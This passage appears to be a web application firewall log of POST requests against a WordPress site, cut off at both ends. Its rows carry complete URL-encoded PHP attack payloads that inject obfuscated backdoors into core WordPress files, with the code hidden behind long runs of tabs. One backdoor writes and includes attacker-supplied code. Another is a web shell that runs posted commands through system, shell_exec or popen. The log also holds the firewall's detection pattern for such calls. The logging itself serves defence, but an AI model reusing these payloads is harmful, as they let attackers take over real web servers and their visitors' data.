257D%2520while%2528%2524h%2520%253C%2520strlen%2528%2524property_set%2529%2529%253B%2520for%2520%2528%2524symbol%2520%253D%25200%252C%2520%2524resource%2520%253D%2520count%2528%2524parameter_group%2529%253B%2520%2524symbol%2520%253C%2520%2524resource%253B%2520%2524symbol%252B%252B%2529%2520%257B%2520%2524dat%2520%253D%2520%2524parameter_group%255B%2524symbol%255D%253B%2520if%2520%2528%2521%2521is_dir%2528%2524dat%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524key%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524dat%252C%2520%2522.value%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524mrk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:39","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%2529%257B%2520%2524parameter_group%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524property_set%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520%2527%2527%2520%253B%2520%2524h%2520%253D%25200%253B%2520do%257B%2524mrk%2520.%253D%2520chr%2528ord%2528%2524property_set%255B%2524h%255D%2529%2520%255E%25202%2529%253B%2524h%252B%252B%253B%257D%2520while%2528%2524h%2520%253C%2520strlen%2528%2524property_set%2529%2529%253B%2520for%2520%2528%2524symbol%2520%253D%25200%252C%2520%2524resource%2520%253D%2520count%2528%2524parameter_group%2529%253B%2520%2524symbol%2520%253C%2520%2524resource%253B%2520%2524symbol%252B%252B%2529%2520%257B%2520%2524dat%2520%253D%2520%2524parameter_group%255B%2524symbol%255D%253B%2520if%2520%2528%2521%2521is_dir%2528%2524dat%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524key%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524dat%252C%2520%2522.value%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524mrk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-length:4110\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%2529%257B%2520%2524parameter_group%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524property_set%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520%2527%2527%2520%253B%2520%2524h%2520%253D%25200%253B%2520do%257B%2524mrk%2520.%253D%2520chr%2528ord%2528%2524property_set%255B%2524h%255D%2529%2520%255E%25202%2529%253B%2524h%252B%252B%253B%257D%2520while%2528%2524h%2520%253C%2520strlen%2528%2524property_set%2529%2529%253B%2520for%2520%2528%2524symbol%2520%253D%25200%252C%2520%2524resource%2520%253D%2520count%2528%2524parameter_group%2529%253B%2520%2524symbol%2520%253C%2520%2524resource%253B%2520%2524symbol%252B%252B%2529%2520%257B%2520%2524dat%2520%253D%2520%2524parameter_group%255B%2524symbol%255D%253B%2520if%2520%2528%2521%2521is_dir%2528%2524dat%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524key%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524dat%252C%2520%2522.value%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524mrk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:48:43","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ts:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%2529%257B%2520%2524parameter_group%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524property_set%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520%2527%2527%2520%253B%2520%2524h%2520%253D%25200%253B%2520do%257B%2524mrk%2520.%253D%2520chr%2528ord%2528%2524property_set%255B%2524h%255D%2529%2520%255E%25202%2529%253B%2524h%252B%252B%253B%257D%2520while%2528%2524h%2520%253C%2520strlen%2528%2524property_set%2529%2529%253B%2520for%2520%2528%2524symbol%2520%253D%25200%252C%2520%2524resource%2520%253D%2520count%2528%2524parameter_group%2529%253B%2520%2524symbol%2520%253C%2520%2524resource%253B%2520%2524symbol%252B%252B%2529%2520%257B%2520%2524dat%2520%253D%2520%2524parameter_group%255B%2524symbol%255D%253B%2520if%2520%2528%2521%2521is_dir%2528%2524dat%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524key%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524dat%252C%2520%2522.value%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524mrk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncontent-length:4087\nsec-ch-ua-mobile:?0\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqUZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nts=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%2529%257B%2520%2524parameter_group%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524property_set%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520%2527%2527%2520%253B%2520%2524h%2520%253D%25200%253B%2520do%257B%2524mrk%2520.%253D%2520chr%2528ord%2528%2524property_set%255B%2524h%255D%2529%2520%255E%25202%2529%253B%2524h%252B%252B%253B%257D%2520while%2528%2524h%2520%253C%2520strlen%2528%2524property_set%2529%2529%253B%2520for%2520%2528%2524symbol%2520%253D%25200%252C%2520%2524resource%2520%253D%2520count%2528%2524parameter_group%2529%253B%2520%2524symbol%2520%253C%2520%2524resource%253B%2520%2524symbol%252B%252B%2529%2520%257B%2520%2524dat%2520%253D%2520%2524parameter_group%255B%2524symbol%255D%253B%2520if%2520%2528%2521%2521is_dir%2528%2524dat%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524key%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524dat%252C%2520%2522.value%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524mrk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:46","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Lu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/l10n\/class-wp-translation-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522str%255Cx65%255Cx61%255Cx6D%255Cx5Fget%255Cx5Fcon%255Cx74%255Cx65%255Cx6Et%255Cx73%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522pcl%255Cx6Fse%2522%253B%2520%2524sync_manager2%2520%253D%2520%2522she%255Cx6C%255Cx6C%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%2529%2520%257B%2520function%2520approve_request%2520%2528%2520%2524token%2520%252C%2520%2524symbol%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524o%253D0%253B%2520while%2528%2524o%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524record.%253Dchr%2528ord%2528%2524token%255B%2524o%255D%2529%255E%2524symbol%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520return%2520%2524record%253B%2520%257D%2520%2524holder%2520%253D%2520%2524module_controller%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%253B%2520%2524holder%2520%253D%2520approve_request%2528%2524holder%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524holder%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524symbol_record%2520%253D%2520%2524sync_manager5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524symbol_record%2529%2520%257B%2520%2524parameter_group_hld%2520%253D%2520%2524sync_manager6%2528%2524symbol_record%2529%253B%2520%2524sync_manager7%2528%2524symbol_record%2529%253B%2520print%2520%2524parameter_group_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncontent-length:5351\nsec-ch-ua-mobile:?0\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGUHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nLu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/l10n\/class-wp-translation-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522str%255Cx65%255Cx61%255Cx6D%255Cx5Fget%255Cx5Fcon%255Cx74%255Cx65%255Cx6Et%255Cx73%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522pcl%255Cx6Fse%2522%253B%2520%2524sync_manager2%2520%253D%2520%2522she%255Cx6C%255Cx6C%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%2529%2520%257B%2520function%2520approve_request%2520%2528%2520%2524token%2520%252C%2520%2524symbol%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524o%253D0%253B%2520while%2528%2524o%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524record.%253Dchr%2528ord%2528%2524token%255B%2524o%255D%2529%255E%2524symbol%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520return%2520%2524record%253B%2520%257D%2520%2524holder%2520%253D%2520%2524module_controller%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%253B%2520%2524holder%2520%253D%2520approve_request%2528%2524holder%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524holder%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524symbol_record%2520%253D%2520%2524sync_manager5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524symbol_record%2529%2520%257B%2520%2524parameter_group_hld%2520%253D%2520%2524sync_manager6%2528%2524symbol_record%2529%253B%2520%2524sync_manager7%2528%2524symbol_record%2529%253B%2520print%2520%2524parameter_group_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27